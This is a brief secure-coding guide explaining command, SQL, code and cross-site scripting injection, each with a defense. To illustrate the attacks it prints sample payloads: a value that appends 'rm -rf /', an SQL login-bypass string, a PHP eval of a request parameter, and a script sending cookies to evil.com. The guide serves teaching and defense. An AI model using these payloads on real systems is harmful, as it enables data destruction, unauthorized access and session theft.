Injection attacks occur when unsanitized user input alters program execution or interpretation.
Input Validation
All user input is untrusted. Validate length, type, pattern, and logical constraints before use.
Prefer whitelisting (accept only known valid values) over blacklisting (block known bad values). Blacklists are incomplete by definition.
Types
Command Injection
Attacker inserts OS commands into a string passed to a shell.
Example: application calls ping <user_input>. Input 8.8.8.8; rm -rf / runs both commands.
Defense: avoid shell calls; use exec-family functions with argument arrays; whitelist input characters.
SQL Injection
Attacker inserts SQL syntax into a query string, altering the query’s logic.
Example: input ' OR '1'='1 in a login field turns WHERE password='X' into WHERE password='' OR '1'='1', bypassing authentication.
Defense: use parameterized queries (prepared statements). Never concatenate user input into SQL strings.
Code Injection
Attacker supplies input that the application evaluates as code.
Example: a PHP app using eval($_GET['expr']) runs arbitrary PHP if the parameter is attacker-controlled.
Defense: never evaluate user input as code; disable eval where possible; enforce strict content types.
Cross-Site Scripting
Attacker injects a script that executes in another user’s browser.
- Stored XSS: malicious script saved in the database and served to all visitors.
- Reflected XSS: malicious script embedded in a URL and reflected in the response.
Example: comment field stores <script>document.location='http://evil.com?c='+document.cookie</script>.
Defense: HTML-encode all output; use Content Security Policy (CSP) headers to restrict script sources; mark cookies HttpOnly to prevent script access.